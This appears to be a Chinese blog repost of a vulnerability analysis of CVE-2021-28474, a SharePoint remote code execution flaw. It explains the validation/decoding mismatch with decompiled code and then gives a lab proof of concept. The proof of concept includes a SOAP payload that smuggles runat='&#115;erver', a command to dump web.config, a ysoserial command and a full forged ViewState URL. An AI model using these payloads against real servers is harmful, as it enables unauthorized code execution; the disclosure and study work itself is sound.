百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

CVE-2021-28474:Microsoft SharePoint远程代码执行漏洞分析

cac55 2024-11-12 09:40 20 浏览 0 评论

概述

研究人员在微软SharePoint服务器中发现了一个远程代码执行漏洞(CVE-2021-28474)。该漏洞允许经过身份验证的攻击者在SharePoint服务器上,利用SharePoint Web应用程序的服务帐户上下文执行任意.NET代码。要想成功利用该漏洞,攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下,经过身份验证的SharePoint用户可以创建网页页面,并拥有所需的所有权限。


漏洞代码分析

该漏洞因为用于安全验证的代码与用于实际处理用户输入的代码之间存在不一致导致的。

安全验证由EditingPageParser.VerifyControlOnSafeList()执行。该函数将验证所提供的输入是否不包含不安全的控件,即web.config文件中的SafeControl元素未将任何控件标记为安全。

// Microsoft.SharePoint.EditingPageParser
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) 
{     
       Hashtable hashtable = new Hashtable();     
       Hashtable hashtable2 = new Hashtable();     
       List<string> list = new List<string>();     
       EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);     
       EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list);     
       if (blockServerSideIncludes && list.Count > 0)
       {
           ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); 
           throw new ArgumentException("Unsafe server-side includes", "dscXml");
        }
        foreach (object obj in hashtable2)  
        {
           Pair pair = (Pair)((DictionaryEntry)obj).Value;         
           string text = (string)pair.First;         
           string text2 = (string)pair.Second;         
           text2 = text2.ToLower(CultureInfo.InvariantCulture);         
           if (hashtable.ContainsKey(text2))         
           {
 /*...*/
                       if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s))                     
                       {                         
                           throw new SafeControls.UnsafeControlException(s);                     
                        }                     
                        break;                 
                    }             
               }         
            }     
       } 
  }

EditingPageParser.ParseStringInternal()函数解析来自dscXml的用户输入,并使用寄存器指令中的信息填充hashtable,以及使用服务器控件标记中的值填充hashtable2。之后,它尝试根据web.config文件中的SafeControl元素验证hashtable2中的每个元素。如果一个控件在那里没有被标记为安全,它就会抛出一个异常。

让我们仔细看看hashtable2中的值是如何进行填充的:

// Microsoft.SharePoint.EditingPageParser 
private static void ParseStringInternal(string text, Hashtable controls, Hashtable typeNames, IList<string> includes) 
{     
     int num = 0;     
     int num2 = text.LastIndexOf('>');     
     for (;;)     
     {         
           Match match; 
/*...*/         
           if (!(match = EditingPageParser.commentRegex.Match(text, num)).Success && !(match = EditingPageParser.aspExprRegex.Match(text, num)).Success && !(match = EditingPageParser.databindExprRegex.Match(text, num)).Success && !(match = EditingPageParser.aspCodeRegex.Match(text, num)).Success)         
           {             
               if (num2 > num && (match = EditingPageParser.tagRegex.Match(text, num)).Success)             
               {                 
                    try                 
                    {                     
                         EditingPageParser.HandleTagMatch(match, controls); 
/*...*/  

// Microsoft.SharePoint.EditingPageParser 
private static void HandleTagMatch(Match match, Hashtable controls) 
{     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        bool flag = false;     
        for (int i = 0; i < captures.Count; i++)     
        {         
              string strA = captures[i].ToString();         
              string strA2 = captures2[i].ToString();         
              if (string.Compare(strA, "runat", StringComparison.OrdinalIgnoreCase) == 0 && string.Compare(strA2, "server", StringComparison.OrdinalIgnoreCase) == 0)         
              {             
                      flag = true;             
                      break;         
               }     
         }     
         if (flag)     
         {         
                string value = match.Groups["tagname"].Value;         
                int num = value.IndexOf(':');         
                if (num > 0 && num < value.Length - 1)         
                {             
                       string x = value.Substring(num + 1);             
                       string y = value.Substring(0, num);             
                       controls[value] = new Pair(x, y);         
                 }     
          } 
 }

如我们所见,SharePoint仅验证服务器端控件(带有runat="server"属性的标记)。这是合理的,因为客户端元素不需要验证。

如果验证通过,SharePoint将处理提供的标记。让我们回顾一下执行处理的代码:

// System.Web.UI.TemplateParser 
private void ParseStringInternal(string text, Encoding fileEncoding) 
{     
       int num = 0;     
       int num2 = text.LastIndexOf('>');     
       Regex tagRegex = base.TagRegex;     
       do     
       {         
              Match match; 
 /*...*/                     
                          if (!this.flags[2] && num2 > num && (match = tagRegex.Match(text, num)).Success)                     
                          {                         
                               try                         
                               {                             
                                    if (!this.ProcessBeginTag(match, text))                             
                                    {                                 
                                          flag = true;                             
                                    } 
 /*...*/   
 
 
 // System.Web.UI.TemplateParser 
 private bool ProcessBeginTag(Match match, string inputText) 
 {     
        string value = match.Groups["tagname"].Value;     
        ParsedAttributeCollection attribs;     
        string text;     
        this.ProcessAttributes(inputText, match, out attribs, false, out text); 
/*...*/       

// System.Web.UI.TemplateParser 
private string ProcessAttributes(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute) 
{     
        string text2 = string.Empty;     
        attribs = TemplateParser.CreateEmptyAttributeBag();     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        CaptureCollection captureCollection = null;     
        if (fDirective)     
        {         
              captureCollection = match.Groups["equal"].Captures;     
         }     
         this.flags[1] = false;     
         this._id = null;     
         duplicateAttribute = null;     
         for (int i = 0; i < captures.Count; i++)     
         {         
              string text3 = captures[i].ToString();         
              if (fDirective)         
              {             
                   text3 = text3.ToLower(CultureInfo.InvariantCulture);         
               }         
               Capture capture = captures2[i];         
               string text4 = capture.ToString();         
               string empty = string.Empty;         
               string text5 = Util.ParsePropertyDeviceFilter(text3, out empty);         
               text4 = HttpUtility.HtmlDecode(text4);         
               bool flag = false;         
               if (fDirective)         
               {             
                    flag = (captureCollection[i].ToString().Length > 0);         
                }         
                if (StringUtil.EqualsIgnoreCase(empty, "id"))         
                {             
                    this._id = text4;         
                 }         
                 else if (StringUtil.EqualsIgnoreCase(empty, "runat"))         
                 {             
                        this.ValidateBuiltInAttribute(text5, empty, text4);             
                        if (!StringUtil.EqualsIgnoreCase(text4, "server"))             
                        {                 
                            this.ProcessError(SR.GetString("Runat_can_only_be_server"));            
                        }             
                        this.flags[1] = true;             
                        text3 = null;         
                  } 
 /*...*/

可以看见处理时解析内容的步骤与验证时的解析步骤非常相似。但是,有一个关键的单行差异:text4 = HttpUtility.HtmlDecode(text4)。

在处理时,属性值由解析器进行HTML解码,但在验证时没有相应的行。这意味着,如果我们有一个ASPX标记,它的属性是runat="&#115;erver"EditingPageParser.VerifyControlOnSafeList()函数不会将其视为服务器端控件,也不会检查它的安全性。但是,在处理时,它将被识别为服务器端控件并执行。


漏洞利用

在此次攻击中,我们将利用System.Web.UI.WebControls.Xml控件,以从任意XML文件中检索信息。我们可以使用它从web.config中提取machineKey部分,这允许我们伪造任意ViewState,并通过ViewState反序列化实现远程代码执行。

可以看见System.Web.UI.WebControls.Xmlweb.config中的SafeControl元素标记为不安全:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="Xml" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

我们将使用可通过/_vti_bin/WebPartPages.asmx站点访问的WebPartPagesWebService.ExecuteProxyUpdates Web API方法,投递有效载荷。它允许我们在设计模式下从OuterHtml属性渲染ASPX标记。用户输入将通过VerifyControlOnSafeList方法进行验证。

为了成功进行攻击,我们需要提供任何现有网站页面的相对路径:

<UpdateTransaction> 
<Update Type="Document"> 
<Document Url="SitePages/Home.aspx" ContextUrl="SitePages/Home.aspx">       
      <Control UpdateID="9940723" NeedsPreview="true" TagName="Name1" OuterHtml="&lt;asp:Repeater  runat=&quot;server&quot;&gt; &lt;HeaderTemplate&gt; &lt;asp:Xml runat=&quot;&amp;#115;erver&quot; id=&quot;xml1&quot; DocumentSource=&quot;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&quot;/&gt;   &lt;/HeaderTemplate&gt;&lt;/asp:Repeater&gt; " />     
    </Document>     
    <Actions />     
    </Update> 
</UpdateTransaction>

我们可以使用来自web.configmachinekey部分的信息来创建一个有效的ViewState,它将被SharePoint反序列化。这允许我们通过反序列化不受信任的数据来运行任意操作系统命令。


概念验证

在演示场景中,我们使用安装了Windows Server 2019 Datacenter上所有默认选项的Microsoft SharePoint Server 2019。服务器的主机名称为sp2019.contoso.lab,已加入contoso.lab域中,域为独立的虚拟机。目标主机已安装2021年1月的所有补丁,对应版本号为16.0.10370.20001,并添加了几个用户,包括普通用户“user2”。

攻击者系统只需使用任何受支持的网页浏览器、用于向服务器发送SOAP请求的PoC应用程序,以及ysoserial.net工具,我们使用的浏览器为Firefox。

首先我们访问SharePoint服务器,以普通用户“user2”进行身份验证。

然后创建一个站点,使该用户成为站点所有者并拥有所有权限。

点击顶部面板的“SharePoint”区域:

然后点击“+创建站点”链接:


选择“Team Site”,现在我们需要为新站点设置名称,这里我们设置为ts01

点击“完成”,成功创建新站点:

现在我们需要一个指向该站点中任何站点页面的相对路径,转到 /SitePages/Forms/ByAuthor.aspx以查看页面列表:

我们可以点击所需的页面并从地址栏中获取相对路径:

在这里,相对路径为SitePages/Home.aspx

接下来使用自定义可执行文件向易受攻击的服务器发送请求以触发漏洞。我们需要提供网站地址、凭证和相对路径:

>SP_soap_RCE_PoC.exe http://sp2019/sites/ts01/ user2 P@ssw0rd contoso "SitePages/Home.aspx"

如果攻击成功,我们将收到web.config的内容:

在该文件中搜索machineKey元素:

要执行RCE攻击,我们需要获取validationKey的值。在这里validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

我们还可以看到算法:validation="HMACSHA256"。

利用这些信息,我们就可以实现远程代码执行攻击。在进行最后一步攻击前,我们先进入目标SharePoint服务器,并打开C:windowsemp文件夹:

此时该目录中不存在SP_RCE_01.txt文件。

现在我们转到“攻击者”主机,并在网站上打开Success.aspx页面:

在本例中,URL为http://sp2019/sites/ts01/_layouts/15/success.aspx:

打开这个页面的源代码视图,找到__VIEWSTATEGENERATOR的值,本例中该值为AF878507:

现在,我们已经拥有了伪造一个任意的ViewState所需要的所有数据:

  • __VIEWSTATEGENERATOR=AF878507

  • validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79

  • validationAlg=HMACSHA256

使用ysoserial生成ViewState:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo RCE > c:/windows/temp/SP_RCE_01.txt" --generator="AF878507" --validationkey="FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79" --validationalg="HMACSHA256" --islegacy --minify

这是生成的有效载荷,我们需要对其进行URL编码,并将其作为查询字符串中的__VIEWSTATE参数发送到目标服务器:

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW

将此URL粘贴到浏览器中,响应显示为错误:

然而再次检查目标服务器上的C:windowsemp文件夹,可以发现目标文件创建成功,证明我们实现了代码执行:

通过这种方法,攻击者可以在SharePoint Web应用程序的上下文中执行任意操作系统命令。

相关推荐

为什么要对彗星“深度撞击”(比特彗星中文破解版)

在太阳系中,被人类探测器造访的彗星数量与行星数量差不多。其中绝大多数探测器都是从彗星附近飞过采集数据。但2005年“深度撞击”探测器则采取了主动出击的策略。它释放出的撞击体以10千米/秒的速度撞...

准妈妈备产清单:看看凯特王妃待产包里都有啥

来源:新华网英国威廉王子和凯特王妃即将迎来他们的第三个孩子。据悉,同生乔治王子和夏洛特公主时一样,此次凯特仍然选择在伦敦圣玛丽医院生产。那么,凯特的待产包里有些什么呢?匿名消息源向英国《OK!》杂志透...

系统小技巧:正确处理软件放行与禁用的矛盾

有时,我们讨厌一些程序运行,但它们偏偏会自动弹出,我们希望禁止其运行。而还有的时候,因为某种原因使用了比较复杂的“软件限制策略”,造成某些软件无法运行,这时我们希望将其解禁。虽然我们可以用修改注册表的...

老网民的青春:盘点那些消失在互联网中的软件,你用过哪款?

一则ICQ即将关闭的消息,唤醒了很多70后80后尘封的记忆。ICQ可以说是即时通讯软件的鼻祖,它诞生于1996年,由以色列公司Mirabilis推出,ICQ是Iseekyou的简写,中文释义为“我...

Windows Vista 动态桌面的设置(windows10动态桌面)

一、VMwareWorkstation15(16的版本能安装但是不能实现动态桌面)安装WindowsVistaEnterprise,15下安装及设置完成后,在16下可以正常显示,虚拟机下安装...

Hexoskin智能T恤 穿在身上的运动追踪器

来源:MSN理财综合|2016-01-0615:14:42[摘要]Hexoskin使用方便,续航时间超长。它能准确追踪运动数据,可以满足专业运动员以及热爱健身的人,官网售价399美元。其实不用多说什...

你了解这些互联网的名词吗?(互联网的别称有哪些)

要想成为互联网的菜鸟,可以先了解一下互联网的一些基础名词。现在就一起来来看看吧,记住了,可以应急用哦!PV:即页面浏览量,或点击量(用户每次刷新即被计算一次)UV:独立访客(UniqueVisi...

不要成为无用的大人——写给三十岁前的你

我不习惯写励志故事,看到鸡汤绕道而行,原因是任何人选择入世生活,就并不值得安慰,以及不要期待享受特权,也没有你必须不得承受的麻烦。金牛座的世界里遭遇一切苦都是应该的,一切得到则需要努力得到,而且要认真...

尼康宣布正研发专业级FX格式数码单反相机D5

尼康宣布正在研发专业级FX格式数码单反相机D5。作为D4s的后续机型,D5机型的命名源于此款产品代表了尼康数码单反相机的第5代专业级机型。D4s于2014年2月发布,作为专业级数码单反相机,一经推出,...

配置管理流程(配置管理流程属于)

资料来源:https://www.cnblogs.com/wayne-ivan/articles/525818.html1 概要1.1 内容规范配置管理活动,确保配置项正确地唯一标识并易于存取,保证基...

小密圈-重新定义你的朋友圈(小密圈开放了)

微信在我们的生活中已经被使用的非常广泛了,除了聊天、视频之外,用的最多的就是朋友圈。在朋友圈里分享自己每天的所感所悟,家长里短本来是一件很开心的事,但是最近的一条新闻引起了人们的关注。某白领因为不愿意...

十招教你找到海量PPT模板(怎么找ppt模板资源)

配图设计:@乌素淖尔我每天都能遇到这种求助问题,不堪重负。问:急求XXXPPT模版?无耻的来求PPT模版,我是在一家互联网公司工作的小员工,领导安排说年初要用PPT做一份工作计划报告,主要是想说一下今...

安卓系统手机文件夹及其文件详细解析

打开Android文件管理器,会发现里面数十个英文名称命名的文件夹罗列其中,很多功能我们可以从其名字上略有所知,内部大批量的文件却让我们有些一头雾水。这些文件是什么呢?有什么用?我们能不能删?这些都是...

我为什么不喜欢微信(有没有人不喜欢聊微信)

这个问题是我在知乎的一个回答,原始问题是“什么样的用户不喜欢微信”?出于数据备份的原因,将其复制保留一份到这里,以防丢失。以下是原回答内容:我是做技术出身的,我非常不喜欢微信,同样也不喜欢QQ,但是为...

花了一周时间,整理出推荐频率最高的14款办公必备软件

澄清!猫猫最近没有偷懒!猫猫去干大事儿了!随着猫猫推荐的软件越来越多,大家是不是也苦恼每次想找一类软件,还得去一篇一篇翻历史文章,其实我也很苦恼这个问题。于是!猫猫上周搭建了一个“猫猫软件中心”,这里...

取消回复欢迎 发表评论: